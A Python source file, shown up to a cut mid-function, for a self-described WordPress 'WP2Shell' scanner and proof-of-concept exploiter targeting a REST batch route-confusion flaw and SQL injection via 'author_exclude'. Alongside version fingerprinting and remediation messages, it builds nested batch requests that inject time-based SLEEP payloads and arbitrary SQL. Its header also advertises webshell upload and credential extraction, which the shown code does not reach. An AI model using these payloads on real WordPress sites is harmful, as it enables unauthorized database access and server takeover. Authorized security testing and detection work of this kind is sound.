#!/usr/bin/env python3
"""
WordPress WP2Shell (route‑confusion + SQLi → RCE) detector and PoC exploiter.
Designed for authorized security assessments only.

Incorporates:
- Route‑confusion detection (categories‑based double misalignment)
- Timing‑based SQL injection confirmation
- Direct webshell upload (via INTO OUTFILE + /proc/self/environ)
- Credential extraction & login fallback
"""

from __future__ import annotations

import argparse
import concurrent.futures
import csv
import dataclasses
import datetime as dt
import html
import io
import json
import os
import random
import re
import socket
import ssl
import statistics
import string
import sys
import threading
import time
import urllib.error
import urllib.parse
import urllib.request
import uuid
import zipfile
from collections import Counter
from dataclasses import dataclass, field
from pathlib import Path
from typing import Any, Dict, Iterable, List, Mapping, Optional, Sequence, Set, Tuple, Union

TOOL_NAME = "wp2shell_detector"
TOOL_VERSION = "6.0.0"
CVE_ROUTE_CONFUSION = "CVE-2026-63030"
CVE_SQLI = "CVE-2026-60137"
SQLI_PARAM = "author_exclude"

DEFAULT_USER_AGENT = f"{TOOL_NAME}/{TOOL_VERSION} (authorized-security-validation)"
DEFAULT_MAX_BODY = 2 * 1024 * 1024
DEFAULT_TIMEOUT = 10.0
DEFAULT_RATE = 5.0
DEFAULT_CONCURRENCY = 5
MAX_CONCURRENCY = 32
MAX_TARGETS_HARD = 10_000

# ---------------------------------------------------------------------------
# Safe route‑confusion probe
# ---------------------------------------------------------------------------
SAFE_ROUTE_CONFUSION_PROBE: Dict[str, Any] = {
    "validation": "normal",
    "requests": [
        {"method": "POST", "path": "http://:"},
        {
            "method": "POST",
            "path": "/wp/v2/posts/0",
            "body": {
                "requests": [
                    {"method": "GET", "path": "/wp/v2/posts?per_page=1&_fields=id"}
                ]
            },
        },
        {"method": "POST", "path": "/batch/v1"},
    ],
}

# ---------------------------------------------------------------------------
# SQLi probe building (categories + route confusion)
# ---------------------------------------------------------------------------
def build_route_confusion_sqli_probe(
    sql_payload: str,
    *,
    path: str = "/wp/v2/categories",
    inner_dummy_path: str = "/wp/v2/posts?per_page=1&_fields=id",
) -> Dict[str, Any]:
    query = urllib.parse.urlencode({SQLI_PARAM: sql_payload})
    target_path = f"{path}?{query}"

    return {
        "validation": "normal",
        "requests": [
            {
                "method": "POST",
                "path": "http://:",
            },
            {
                "method": "POST",
                "path": "/wp/v2/posts",
                "body": {
                    "requests": [
                        {
                            "method": "GET",
                            "path": "http://:",
                        },
                        {
                            "method": "GET",
                            "path": target_path,
                        },
                        {
                            "method": "GET",
                            "path": inner_dummy_path,
                        },
                    ]
                },
            },
            {
                "method": "POST",
                "path": "/batch/v1",
            },
        ],
    }


def _timing_condition(delay: int, true: bool) -> str:
    cond = "1=1" if true else "1=0"
    return f"SELECT IF(({cond}),SLEEP({delay}),0)"


def build_timing_probe(delay: int, true: bool) -> Dict[str, Any]:
    return build_route_confusion_sqli_probe(
        _timing_condition(delay, true)
    )


def build_forge_probe(sql: str) -> Dict[str, Any]:
    return build_route_confusion_sqli_probe(sql)


RETRYABLE_HTTP_STATUSES = {408, 425, 429, 500, 502, 503, 504}

# ---------------------------------------------------------------------------
# Data classes
# ---------------------------------------------------------------------------
@dataclass(frozen=True, order=True)
class WPVersion:
    major: int
    minor: int
    patch: int
    suffix: str = field(default="", compare=False)
    raw: str = field(default="", compare=False)

    @property
    def tuple(self) -> Tuple[int, int, int]:
        return (self.major, self.minor, self.patch)

    @property
    def stable(self) -> bool:
        return not self.suffix

    def __str__(self) -> str:
        base = f"{self.major}.{self.minor}.{self.patch}"
        return f"{base}{self.suffix}" if self.suffix else base


@dataclass
class VersionEvidence:
    version: str
    source: str
    url: str
    confidence: float
    detail: str = ""

    def as_dict(self) -> Dict[str, Any]:
        return dataclasses.asdict(self)


@dataclass
class HttpResult:
    requested_url: str
    final_url: str
    status: Optional[int]
    headers: Dict[str, str]
    body: bytes
    elapsed_ms: int
    error: Optional[str] = None
    truncated: bool = False

    def text(self) -> str:
        content_type = self.headers.get("content-type", "")
        charset_match = re.search(r"charset=([A-Za-z0-9._-]+)", content_type, re.I)
        encodings = [charset_match.group(1)] if charset_match else []
        encodings += ["utf-8", "latin-1"]
        for encoding in encodings:
            try:
                return self.body.decode(encoding, errors="replace")
            except (LookupError, UnicodeDecodeError):
                continue
        return self.body.decode("utf-8", errors="replace")

    def as_summary(self) -> Dict[str, Any]:
        return {
            "requested_url": self.requested_url,
            "final_url": self.final_url,
            "status": self.status,
            "elapsed_ms": self.elapsed_ms,
            "error": self.error,
            "truncated": self.truncated,
        }


@dataclass
class ActiveProbeResult:
    attempted: bool = False
    endpoint: Optional[str] = None
    result: str = "not-run"
    vulnerable_signal: bool = False
    patched_signal: bool = False
    http_status: Optional[int] = None
    elapsed_ms: Optional[int] = None
    error: Optional[str] = None
    explanation: str = ""

    def as_dict(self) -> Dict[str, Any]:
        return dataclasses.asdict(self)


@dataclass
class SqliProbeResult:
    attempted: bool = False
    result: str = "not-run"
    vulnerable_signal: bool = False
    patched_signal: bool = False
    false_count: Optional[int] = None
    true_count: Optional[int] = None
    false_median: Optional[float] = None
    true_median: Optional[float] = None
    difference: Optional[float] = None
    error: Optional[str] = None
    explanation: str = ""

    def as_dict(self) -> Dict[str, Any]:
        return dataclasses.asdict(self)


@dataclass
class ScanResult:
    target: str
    normalized_target: Optional[str] = None
    final_target: Optional[str] = None
    wordpress_detected: bool = False
    wordpress_confidence: float = 0.0
    selected_version: Optional[str] = None
    version_confidence: float = 0.0
    version_conflict: bool = False
    version_evidence: List[VersionEvidence] = field(default_factory=list)
    version_assessment: str = "unknown"
    batch_route_exposed: Optional[bool] = None
    active_probe: ActiveProbeResult = field(default_factory=ActiveProbeResult)
    sqli_probe: SqliProbeResult = field(default_factory=SqliProbeResult)
    verdict: str = "UNKNOWN"
    severity: str = "info"
    summary: str = ""
    remediation: str = ""
    errors: List[str] = field(default_factory=list)
    requests: List[Dict[str, Any]] = field(default_factory=list)
    scanned_at: str = field(
        default_factory=lambda: dt.datetime.now(dt.timezone.utc).isoformat()
    )

    def as_dict(self) -> Dict[str, Any]:
        return {
            "target": self.target,
            "normalized_target": self.normalized_target,
            "final_target": self.final_target,
            "wordpress_detected": self.wordpress_detected,
            "wordpress_confidence": round(self.wordpress_confidence, 2),
            "selected_version": self.selected_version,
            "version_confidence": round(self.version_confidence, 2),
            "version_conflict": self.version_conflict,
            "version_evidence": [item.as_dict() for item in self.version_evidence],
            "version_assessment": self.version_assessment,
            "batch_route_exposed": self.batch_route_exposed,
            "active_probe": self.active_probe.as_dict(),
            "sqli_probe": self.sqli_probe.as_dict(),
            "verdict": self.verdict,
            "severity": self.severity,
            "summary": self.summary,
            "remediation": self.remediation,
            "errors": self.errors,
            "requests": self.requests,
            "scanned_at": self.scanned_at,
            "tool": {"name": TOOL_NAME, "version": TOOL_VERSION},
        }


@dataclass
class LocalResult:
    wordpress_root: str
    version_file: Optional[str] = None
    selected_version: Optional[str] = None
    version_assessment: str = "unknown"
    verdict: str = "UNKNOWN"
    severity: str = "info"
    summary: str = ""
    remediation: str = ""
    errors: List[str] = field(default_factory=list)
    scanned_at: str = field(
        default_factory=lambda: dt.datetime.now(dt.timezone.utc).isoformat()
    )

    def as_dict(self) -> Dict[str, Any]:
        return {
            **dataclasses.asdict(self),
            "tool": {"name": TOOL_NAME, "version": TOOL_VERSION},
        }


@dataclass
class ScanConfig:
    timeout: float = DEFAULT_TIMEOUT
    retries: int = 1
    max_body_bytes: int = DEFAULT_MAX_BODY
    verify_tls: bool = True
    follow_redirects: bool = True
    allow_cross_host_redirects: bool = False
    proxy: Optional[str] = None
    headers: Dict[str, str] = field(default_factory=dict)
    user_agent: str = DEFAULT_USER_AGENT
    rate_limit: float = DEFAULT_RATE
    fingerprint_level: str = "standard"
    active_probe: bool = False
    rest_endpoint: str = "both"
    include_request_log: bool = False
    default_scheme: str = "https"


class RateLimiter:
    def __init__(self, rate_per_second: float):
        self._interval = 0.0 if rate_per_second <= 0 else 1.0 / rate_per_second
        self._lock = threading.Lock()
        self._next_allowed = 0.0

    def wait(self) -> None:
        if self._interval <= 0:
            return
        with self._lock:
            now = time.monotonic()
            delay = self._next_allowed - now
            if delay > 0:
                time.sleep(delay)
                now = time.monotonic()
            self._next_allowed = max(now, self._next_allowed) + self._interval


class ControlledRedirectHandler(urllib.request.HTTPRedirectHandler):
    def __init__(
        self,
        original_url: str,
        follow_redirects: bool,
        allow_cross_host: bool,
    ) -> None:
        super().__init__()
        self.original_host = (urllib.parse.urlsplit(original_url).hostname or "").lower()
        self.follow_redirects = follow_redirects
        self.allow_cross_host = allow_cross_host

    def redirect_request(
        self,
        req: urllib.request.Request,
        fp: Any,
        code: int,
        msg: str,
        headers: Mapping[str, str],
        newurl: str,
    ) -> Optional[urllib.request.Request]:
        if not self.follow_redirects:
            raise urllib.error.HTTPError(
                req.full_url, code, "redirect blocked by policy", headers, fp
            )
        new_host = (urllib.parse.urlsplit(newurl).hostname or "").lower()
        if not self.allow_cross_host and new_host != self.original_host:
            raise urllib.error.HTTPError(
                req.full_url,
                code,
                f"cross-host redirect blocked ({self.original_host} -> {new_host})",
                headers,
                fp,
            )
        return super().redirect_request(req, fp, code, msg, headers, newurl)


class HttpClient:
    def __init__(self, config: ScanConfig, limiter: RateLimiter):
        self.config = config
        self.limiter = limiter

    def _build_opener(self, url: str) -> urllib.request.OpenerDirector:
        handlers: List[Any] = [
            ControlledRedirectHandler(
                url,
                self.config.follow_redirects,
                self.config.allow_cross_host_redirects,
            )
        ]
        if self.config.proxy:
            handlers.append(
                urllib.request.ProxyHandler(
                    {"http": self.config.proxy, "https": self.config.proxy}
                )
            )
        else:
            handlers.append(urllib.request.ProxyHandler())

        if url.lower().startswith("https://"):
            context = (
                ssl.create_default_context()
                if self.config.verify_tls
                else ssl._create_unverified_context()
            )
            handlers.append(urllib.request.HTTPSHandler(context=context))
        return urllib.request.build_opener(*handlers)

    def request(
        self,
        method: str,
        url: str,
        *,
        json_body: Any = None,
        headers: Mapping[str, str] | None = None,
        data: bytes | None = None,
        retry: bool = True,
    ) -> HttpResult:
        method = method.upper()
        body: Optional[bytes] = None
        request_headers = {
            "Accept": "application/json,text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.5",
            "User-Agent": self.config.user_agent,
            "Connection": "close",
        }
        request_headers.update(self.config.headers)
        if headers:
            request_headers.update(headers)
        if data is not None:
            body = data
            request_headers.setdefault("Content-Type", "application/x-www-form-urlencoded")
        elif json_body is not None:
            body = json.dumps(json_body, separators=(",", ":")).encode("utf-8")
            request_headers.setdefault("Content-Type", "application/json")
            request_headers.setdefault("Cache-Control", "no-store")

        attempts = self.config.retries + 1 if retry else 1
        last: Optional[HttpResult] = None
        for attempt in range(attempts):
            self.limiter.wait()
            started = time.monotonic()
            req = urllib.request.Request(
                url=url,
                data=body,
                headers=request_headers,
                method=method,
            )
            try:
                opener = self._build_opener(url)
                with opener.open(req, timeout=self.config.timeout) as response:
                    payload = response.read(self.config.max_body_bytes + 1)
                    truncated = len(payload) > self.config.max_body_bytes
                    payload = payload[: self.config.max_body_bytes]
                    elapsed = int((time.monotonic() - started) * 1000)
                    result = HttpResult(
                        requested_url=url,
                        final_url=response.geturl(),
                        status=getattr(response, "status", response.getcode()),
                        headers={k.lower(): v for k, v in response.headers.items()},
                        body=payload,
                        elapsed_ms=elapsed,
                        truncated=truncated,
                    )
            except urllib.error.HTTPError as exc:
                try:
                    payload = exc.read(self.config.max_body_bytes + 1)
                except Exception:
                    payload = b""
                truncated = len(payload) > self.config.max_body_bytes
                payload = payload[: self.config.max_body_bytes]
                elapsed = int((time.monotonic() - started) * 1000)
                result = HttpResult(
                    requested_url=url,
                    final_url=exc.geturl() or url,
                    status=exc.code,
                    headers={k.lower(): v for k, v in (exc.headers or {}).items()},
                    body=payload,
                    elapsed_ms=elapsed,
                    error=str(exc.reason) if exc.reason else None,
                    truncated=truncated,
                )
            except (urllib.error.URLError, TimeoutError, socket.timeout, ssl.SSLError) as exc:
                elapsed = int((time.monotonic() - started) * 1000)
                reason = getattr(exc, "reason", exc)
                result = HttpResult(
                    requested_url=url,
                    final_url=url,
                    status=None,
                    headers={},
                    body=b"",
                    elapsed_ms=elapsed,
                    error=f"{type(reason).__name__}: {reason}",
                )
            except Exception as exc:
                elapsed = int((time.monotonic() - started) * 1000)
                result = HttpResult(
                    requested_url=url,
                    final_url=url,
                    status=None,
                    headers={},
                    body=b"",
                    elapsed_ms=elapsed,
                    error=f"{type(exc).__name__}: {exc}",
                )

            last = result
            should_retry = (
                attempt + 1 < attempts
                and (
                    result.status is None
                    or result.status in RETRYABLE_HTTP_STATUSES
                )
            )
            if not should_retry:
                return result
            time.sleep(min(0.5 * (2**attempt), 3.0))

        assert last is not None
        return last


VERSION_TOKEN_RE = re.compile(
    r"(?<!\d)(?P<major>\d{1,2})\.(?P<minor>\d{1,2})(?:\.(?P<patch>\d{1,3}))?(?P<suffix>(?:[-._]?(?:alpha|beta|rc|nightly|dev)[A-Za-z0-9._-]*)?)",
    re.I,
)


def parse_wp_version(value: Optional[str]) -> Optional[WPVersion]:
    if not value:
        return None
    match = VERSION_TOKEN_RE.search(value.strip())
    if not match:
        return None
    raw = match.group(0)
    suffix = match.group("suffix") or ""
    return WPVersion(
        major=int(match.group("major")),
        minor=int(match.group("minor")),
        patch=int(match.group("patch") or 0),
        suffix=suffix,
        raw=raw,
    )


def assess_version(version: Optional[WPVersion]) -> Tuple[str, str, str, str]:
    if version is None:
        return ("unknown", "UNKNOWN", "info", "WordPress version could not be determined.")
    if not version.stable:
        suffix = version.suffix.lower().lstrip("-._")
        if version.tuple == (7, 1, 0):
            beta_match = re.fullmatch(r"beta[._-]?(\d+)", suffix)
            if beta_match and int(beta_match.group(1)) < 2:
                return (
                    "affected-7.1-prerelease",
                    "LIKELY_VULNERABLE",
                    "critical",
                    f"WordPress {version} predates the fixed 7.1 beta2 prerelease.",
                )
            if (beta_match and int(beta_match.group(1)) >= 2) or suffix.startswith("rc"):
                return (
                    "fixed-7.1-prerelease",
                    "PATCHED_VERSION",
                    "info",
                    f"WordPress {version} is at or later than the fixed 7.1 beta2 prerelease.",
                )
        return (
            "prerelease-unknown",
            "UNKNOWN_PRERELEASE",
            "medium",
            f"Detected prerelease version {version}; compare it with the vendor's fixed build for that branch.",
        )

    current = version.tuple
    if (6, 9, 0) <= current < (6, 9, 5) or (7, 0, 0) <= current < (7, 0, 2):
        return (
            "affected-wp2shell",
            "LIKELY_VULNERABLE",
            "critical",
            f"WordPress {version} is in the published affected range for {CVE_ROUTE_CONFUSION}.",
        )
    if (6, 8, 0) <= current < (6, 8, 6):
        return (
            "affected-sqli-only",
            "VULNERABLE_SQLI_ONLY",
            "high",
            f"WordPress {version} is outside the WP2Shell route-confusion range but is in the affected range for the standalone {CVE_SQLI} flaw.",
        )
    if (6, 8, 6) <= current < (6, 9, 0):
        return ("fixed-6.8-branch", "NOT_AFFECTED", "info", f"WordPress {version} includes the 6.8-branch SQL injection fix and is outside the published route-confusion range.")
    if (6, 9, 5) <= current < (7, 0, 0):
        return ("fixed-6.9-branch", "PATCHED_VERSION", "info", f"WordPress {version} is at or above the fixed 6.9.5 release.")
    if (7, 0, 2) <= current < (8, 0, 0):
        return ("fixed-7.x-branch", "PATCHED_VERSION", "info", f"WordPress {version} is at or above the fixed 7.0.2 release.")
    if current < (6, 8, 0):
        return ("outside-published-range-old", "NOT_AFFECTED_BY_THESE_CVES", "info", f"WordPress {version} is outside the published affected ranges for these two CVEs; other vulnerabilities may still apply.")
    return ("outside-published-range", "NOT_IN_PUBLISHED_AFFECTED_RANGE", "info", f"WordPress {version} is not in the vendor-published affected ranges; confirm vendor support for this branch.")


def normalize_target(raw: str, default_scheme: str = "https") -> str:
    value = raw.strip()
    if not value:
        raise ValueError("empty target")
    if any(ord(char) < 32 for char in value):
        raise ValueError("target contains control characters")
    if "://" not in value:
        value = f"{default_scheme}://{value}"
    parts = urllib.parse.urlsplit(value)
    if parts.scheme.lower() not in {"http", "https"}:
        raise ValueError("only http and https targets are supported")
    if not parts.hostname:
        raise ValueError("target has no hostname")
    if parts.username or parts.password:
        raise ValueError("credentials in target URLs are not accepted; use an explicit header only when authorized")
    path = parts.path or "/"
    final_segment = path.rsplit("/", 1)[-1]
    if final_segment and "." in final_segment:
        path = path.rsplit("/", 1)[0] + "/"
    elif not path.endswith("/"):
        path += "/"
    host = parts.hostname
    assert host is not None
    try:
        host_ascii = host.encode("idna").decode("ascii")
    except UnicodeError as exc:
        raise ValueError(f"invalid internationalized hostname: {exc}") from exc
    if ":" in host_ascii and not host_ascii.startswith("["):
        host_ascii = f"[{host_ascii}]"
    netloc = host_ascii
    try:
        port = parts.port
    except ValueError as exc:
        raise ValueError(f"invalid target port: {exc}") from exc
    if port:
        netloc += f":{port}"
    return urllib.parse.urlunsplit((parts.scheme.lower(), netloc, path, "", ""))


def endpoint_url(base: str, kind: str) -> str:
    if kind == "home":
        return base
    if kind == "feed":
        return urllib.parse.urljoin(base, "feed/")
    if kind == "readme":
        return urllib.parse.urljoin(base, "readme.html")
    if kind == "rest-query-index":
        return f"{base}?rest_route=/"
    if kind == "rest-query-batch":
        return f"{base}?rest_route=/batch/v1"
    if kind == "rest-pretty-index":
        return urllib.parse.urljoin(base, "wp-json/")
    if kind == "rest-pretty-batch":
        return urllib.parse.urljoin(base, "wp-json/batch/v1")
    raise ValueError(f"unknown endpoint kind: {kind}")


def parse_headers(values: Sequence[str]) -> Dict[str, str]:
    parsed: Dict[str, str] = {}
    for item in values:
        if "\r" in item or "\n" in item:
            raise ValueError("header values must not contain CR/LF")
        if ":" not in item:
            raise ValueError(f"header must be in 'Name: value' form: {item!r}")
        name, value = item.split(":", 1)
        name = name.strip()
        value = value.strip()
        if not name:
            raise ValueError("header name cannot be empty")
        parsed[name] = value
    return parsed


def _add_evidence(evidence: List[VersionEvidence], version_text: str, source: str, url: str, confidence: float, detail: str = "") -> None:
    version = parse_wp_version(version_text)
    if version is None:
        return
    normalized = str(version)
    key = (normalized, source, url, detail)
    if any((e.version, e.source, e.url, e.detail) == key for e in evidence):
        return
    evidence.append(VersionEvidence(version=normalized, source=source, url=url, confidence=confidence, detail=detail))


def extract_version_evidence(response: HttpResult, source_hint: str) -> List[VersionEvidence]:
    text = response.text()
    result: List[VersionEvidence] = []
    url = response.final_url
    for tag_match in re.finditer(r"<meta\b[^>]*>", text, re.I | re.S):
        tag = html.unescape(tag_match.group(0))
        name = re.search(r"\bname\s*=\s*['\"]generator['\"]", tag, re.I)
        content = re.search(r"\bcontent\s*=\s*['\"]([^'\"]+)['\"]", tag, re.I)
        if name and content:
            wp = re.search(r"\bWordPress\s+([^\s'\"<>]+)", content.group(1), re.I)
            if wp:
                _add_evidence(result, wp.group(1), "meta-generator", url, 0.98)
    for match in re.finditer(r"wordpress\.org/\?v=([^<\s'\"&]+)", text, re.I):
        _add_evidence(result, match.group(1), "feed-generator", url, 0.98)
    if source_hint == "readme":
        for pattern in (r"\bVersion\s+([0-9]+\.[0-9]+(?:\.[0-9]+)?)", r"<br\s*/?>\s*Version\s+([0-9]+\.[0-9]+(?:\.[0-9]+)?)"):
            match = re.search(pattern, text, re.I)
            if match:
                _add_evidence(result, match.group(1), "readme", url, 0.90)
    assets = re.findall(r"(?:wp-includes|wp-admin)/[^\s'\"<>?#]+\?[^\s'\"<>#]*\bver=([0-9]+\.[0-9]+(?:\.[0-9]+)?)", html.unescape(text), re.I)
    counts = Counter(assets)
    for version_text, count in counts.items():
        confidence = 0.70 if count >= 2 else 0.55
        _add_evidence(result, version_text, "core-asset-query", url, confidence, f"observed {count} core asset(s)")
    for header_name in ("x-generator", "generator"):
        header_value = response.headers.get(header_name, "")
        match = re.search(r"\bWordPress\s+([^\s;]+)", header_value, re.I)
        if match:
            _add_evidence(result, match.group(1), "http-generator-header", url, 0.90)
    return result


def wordpress_signals(response: HttpResult) -> Tuple[float, List[str]]:
    text = response.text().lower()
    headers = {k.lower(): v.lower() for k, v in response.headers.items()}
    score = 0.0
    signals: List[str] = []
    if "wp-content/" in text:
        score += 0.35
        signals.append("wp-content")
    if "wp-includes/" in text:
        score += 0.35
        signals.append("wp-includes")
    if "wordpress" in text and "generator" in text:
        score += 0.35
        signals.append("generator")
    if "api.w.org" in headers.get("link", "") or "api.w.org" in text:
        score += 0.25
        signals.append("rest-link")
    if response.headers.get("x-pingback"):
        score += 0.15
        signals.append("x-pingback")
    try:
        parsed = json.loads(response.text())
    except (json.JSONDecodeError, TypeError):
        parsed = None
    if isinstance(parsed, dict):
        if isinstance(parsed.get("namespaces"), list) and isinstance(parsed.get("routes"), dict):
            score += 0.70
            signals.append("wp-rest-index-shape")
        if "wp/v2" in parsed.get("namespaces", []):
            score += 0.25
            signals.append("wp-v2-namespace")
    return min(score, 1.0), signals


def parse_rest_index(response: HttpResult) -> Tuple[Optional[bool], bool]:
    try:
        data = json.loads(response.text())
    except (json.JSONDecodeError, TypeError):
        return None, False
    if not isinstance(data, dict) or not isinstance(data.get("routes"), dict):
        return None, False
    routes = data["routes"]
    return "/batch/v1" in routes, True


def select_version(evidence: Sequence[VersionEvidence]) -> Tuple[Optional[WPVersion], float, bool]:
    if not evidence:
        return None, 0.0, False
    scores: Dict[str, float] = {}
    max_confidence: Dict[str, float] = {}
    sources: Dict[str, Set[str]] = {}
    for item in evidence:
        scores[item.version] = scores.get(item.version, 0.0) + item.confidence
        max_confidence[item.version] = max(max_confidence.get(item.version, 0.0), item.confidence)
        sources.setdefault(item.version, set()).add(item.source)
    selected_text = max(scores, key=lambda v: (scores[v], max_confidence[v], len(sources[v]), v))
    conflict = len(scores) > 1
    confidence = max_confidence[selected_text]
    if len(sources[selected_text]) >= 2:
        confidence = min(1.0, confidence + 0.02)
    if conflict:
        confidence = max(0.0, confidence - 0.15)
    return parse_wp_version(selected_text), confidence, conflict


def _response_body(entry: Any) -> Any:
    if isinstance(entry, dict):
        return entry.get("body")
    return None


def analyze_active_probe(response: HttpResult) -> ActiveProbeResult:
    result = ActiveProbeResult(attempted=True, endpoint=response.requested_url,
                               http_status=response.status, elapsed_ms=response.elapsed_ms, error=response.error)
    if response.status is None:
        result.result = "transport-error"
        result.explanation = response.error or "No HTTP response was received."
        return result
    try:
        data = json.loads(response.text())
    except json.JSONDecodeError:
        result.result = "indeterminate"
        result.explanation = "The endpoint did not return a JSON batch response."
        return result
    if not isinstance(data, dict) or not isinstance(data.get("responses"), list):
        code = data.get("code") if isinstance(data, dict) else None
        result.result = "blocked-or-unavailable"
        result.explanation = f"Batch endpoint returned top-level REST error {code!r}." if code else "Response did not have the WordPress batch envelope."
        return result
    responses = data["responses"]
    if len(responses) < 2:
        result.result = "indeterminate"
        result.explanation = "Batch envelope contained fewer responses than the safe probe sent."
        return result
    first_body = _response_body(responses[0])
    first_parse_error = isinstance(first_body, dict) and first_body.get("code") == "parse_path_failed"
    second = responses[1] if isinstance(responses[1], dict) else {}
    second_body = _response_body(second)
    second_status = second.get("status") if isinstance(second, dict) else None
    nested_batch = first_parse_error and second_status == 207 and isinstance(second_body, dict) and isinstance(second_body.get("responses"), list)
    if nested_batch:
        result.result = "route-confusion-observed"
        result.vulnerable_signal = True
        result.explanation = "The request addressed to the invalid post ID was executed as the following batch route, and the nested public GET ran."
        return result
    patched_error_codes = {"rest_post_invalid_id", "rest_cannot_edit", "rest_cannot_create", "rest_forbidden", "rest_missing_callback_param", "rest_batch_not_allowed"}
    second_code = second_body.get("code") if isinstance(second_body, dict) else None
    if first_parse_error and (second_code in patched_error_codes or second_status in {400, 401, 403, 404}):
        result.result = "route-confusion-not-observed"
        result.patched_signal = True
        result.explanation = "The malformed entry remained aligned with its own match."
        return result
    result.result = "indeterminate"
    result.explanation = "A WordPress batch response was received, but did not match expected patterns."
    return result


def _record_request(result: ScanResult, response: HttpResult, enabled: bool) -> None:
    if enabled:
        result.requests.append(response.as_summary())


def _safe_remediation() -> str:
    return "Update WordPress core to 6.9.5 or 7.0.2 (or a later supported release). Until patched, block unauthenticated POST access to both /wp-json/batch/v1 and /?rest_route=/batch/v1."


def finalize_scan_result(result: ScanResult) -> None:
    version = parse_wp_version(result.selected_version)
    assessment, version_verdict, version_severity, version_summary = assess_version(version)
    result.version_assessment = assessment
    active = result.active_probe
    if active.vulnerable_signal:
        result.verdict = "CONFIRMED_VULNERABLE_BEHAVIOR"
        result.severity = "critical"
        result.summary = f"The safe active probe confirmed the request/route desynchronization associated with {CVE_ROUTE_CONFUSION}."
        if result.selected_version:
            result.summary += f" Fingerprinted version: {result.selected_version}."
        result.remediation = _safe_remediation()
        return
    if version_verdict == "LIKELY_VULNERABLE":
        if active.patched_signal:
            result.verdict = "AFFECTED_VERSION_BUT_BEHAVIOR_NOT_OBSERVED"
            result.severity = "high"
            result.summary = f"The exposed version is in the affected range, but the route-confusion behavior was not observed."
        else:
            result.verdict = version_verdict
            result.severity = version_severity
            result.summary = version_summary
        result.remediation = _safe_remediation()
        return
    if version_verdict == "VULNERABLE_SQLI_ONLY":
        result.verdict = version_verdict
        result.severity = version_severity
        result.summary = version_summary
        result.remediation = "Update the 6.8 branch to WordPress 6.8.6 or move to a later supported release."
        return
    if version is not None:
        result.verdict = version_verdict
        result.severity = version_severity
        result.summary = version_summary
        if version_verdict in {"PATCHED_VERSION", "NOT_AFFECTED"}:
            result.remediation = "No WP2Shell-specific action is required."
        else:
            result.remediation = "Confirm the installed release against the current WordPress security advisory and keep core fully updated."
        return
    if result.wordpress_detected and result.batch_route_exposed:
        result.verdict = "POTENTIALLY_EXPOSED_VERSION_UNKNOWN"
        result.severity = "high"
        result.summary = "WordPress and its batch route were detected, but the core version is hidden."
        result.remediation = _safe_remediation()
    elif result.wordpress_detected:
        result.verdict = "WORDPRESS_VERSION_UNKNOWN"
        result.severity = "medium"
        result.summary = "WordPress was detected, but version could not be determined."
        result.remediation = "Verify locally with wp core version."
    elif result.errors:
        result.verdict = "ERROR"
        result.severity = "info"
        result.summary = "The target could not be assessed reliably."
        result.remediation = "Review the recorded transport/HTTP errors."
    else:
        result.verdict = "NOT_WORDPRESS_OR_NOT_DETECTED"
        result.severity = "info"
        result.summary = "No reliable WordPress signature was detected."
        result.remediation = "None."


# ---------------------------------------------------------------------------
# Response validation for categories-based SQLi probe
# ---------------------------------------------------------------------------
def validate_categories_sqli_response(response: HttpResult) -> Tuple[bool, str]:
    if response.status != 207:
        return False, f"outer HTTP status {response.status} (expected 207)"
    content_type = response.headers.get("content-type", "")
    if "application/json" not in content_type.lower():
        return False, "not JSON content"
    try:
        data = json.loads(response.text())
    except json.JSONDecodeError:
        return False, "invalid JSON"
    if not isinstance(data, dict) or "responses" not in data:
        return False, "missing outer 'responses' array"
    outer_responses = data["responses"]
    if not isinstance(outer_responses, list) or len(outer_responses) < 2:
        return False, "too few outer responses"
    first_outer = outer_responses[0]
    first_body = first_outer.get("body") if isinstance(first_outer, dict) else None
    if not (isinstance(first_body, dict) and first_body.get("code") == "parse_path_failed"):
        return False, "first outer not parse_path_failed"
    second_outer = outer_responses[1]
    if not isinstance(second_outer, dict):
        return False, "second outer not an object"
    inner_body = second_outer.get("body")
    if not isinstance(inner_body, dict) or "responses" not in inner_body:
        return False, "inner batch missing"
    inner_responses = inner_body["responses"]
    if not isinstance(inner_responses, list) or len(inner_responses) < 3:
        return False, "inner batch too few responses (need at least 3)"
    inner_first_body = _response_body(inner_responses[0])
    if not (isinstance(inner_first_body, dict) and inner_first_body.get("code") == "parse_path_failed"):
        return False, "inner first not parse_path_failed"
    inner_second = inner_responses[1] if isinstance(inner_responses[1], dict) else {}
    inner_second_status = inner_second.get("status")
    if not isinstance(inner_second_status, int) or not 200 <= inner_second_status < 300:
        return False, f"inner SQLi request status {inner_second_status} (expected 2xx)"
    return True, "ok"


# ---------------------------------------------------------------------------
# Timing‑based SQLi detection
# ---------------------------------------------------------------------------
def _perform_timing_test(
    client: HttpClient,
    batch_url: str,
    delay_seconds: int = 2,
    num_samples: int = 4,
    warmups: int = 2,
    debug: bool = False,
) -> Tuple[List[float], List[float], List[str]]:
    false_times: List[float] = []
    true_times: List[float] = []
    debug_msgs: List[str] = []

    for i in range(warmups):
        if debug:
            debug_msgs.append(f"[DEBUG] warm-up {i+1}/{warmups}")
        probe = build_timing_probe(delay_seconds, true=False)
        resp = client.request("POST", batch_url, json_body=probe,
                              headers={"X-WP2Shell-Detector": "timing"}, retry=False)
        valid, reason = validate_categories_sqli_response(resp)
        if debug:
            debug_msgs.append(f"[DEBUG] warm-up valid: {valid}, reason: {reason}")

    pairs = [("false", False), ("true", True)] * num_samples
    for idx, (label, true_cond) in enumerate(pairs):
        if debug:
            debug_msgs.append(f"[DEBUG] sending {label} request {idx+1}/{len(pairs)}")
        probe = build_timing_probe(delay_seconds, true=true_cond)
        resp = client.request("POST", batch_url, json_body=probe,
                              headers={"X-WP2Shell-Detector": "timing"}, retry=False)
        elapsed = resp.elapsed_ms / 1000.0
        valid, reason = validate_categories_sqli_response(resp)
        if debug:
            debug_msgs.append(f"[DEBUG]   HTTP {resp.status}, elapsed {elapsed:.3f}s, valid: {valid} ({reason})")
        if valid:
            if label == "false":
                false_times.append(elapsed)
            else:
                true_times.append(elapsed)
    return false_times, true_times, debug_msgs


def _classify_timing_result(
    false_times: List[float],
    true_times: List[float],
    delay_seconds: float = 2.0,
) -> SqliProbeResult:
    res = SqliProbeResult(attempted=True)
    if len(false_times) < 3 or len(true_times) < 3:
        res.result = "inconclusive"
        res.explanation = f"Insufficient valid measurements (false: {len(false_times)}, true: {len(true_times)})"
        res.false_count = len(false_times)
        res.true_count = len(true_times)
        return res

    false_median = statistics.median(false_times)
    true_median = statistics.median(true_times)
    diff = true_median - false_median

    min_diff = max(delay_seconds * 0.60, 0.75)
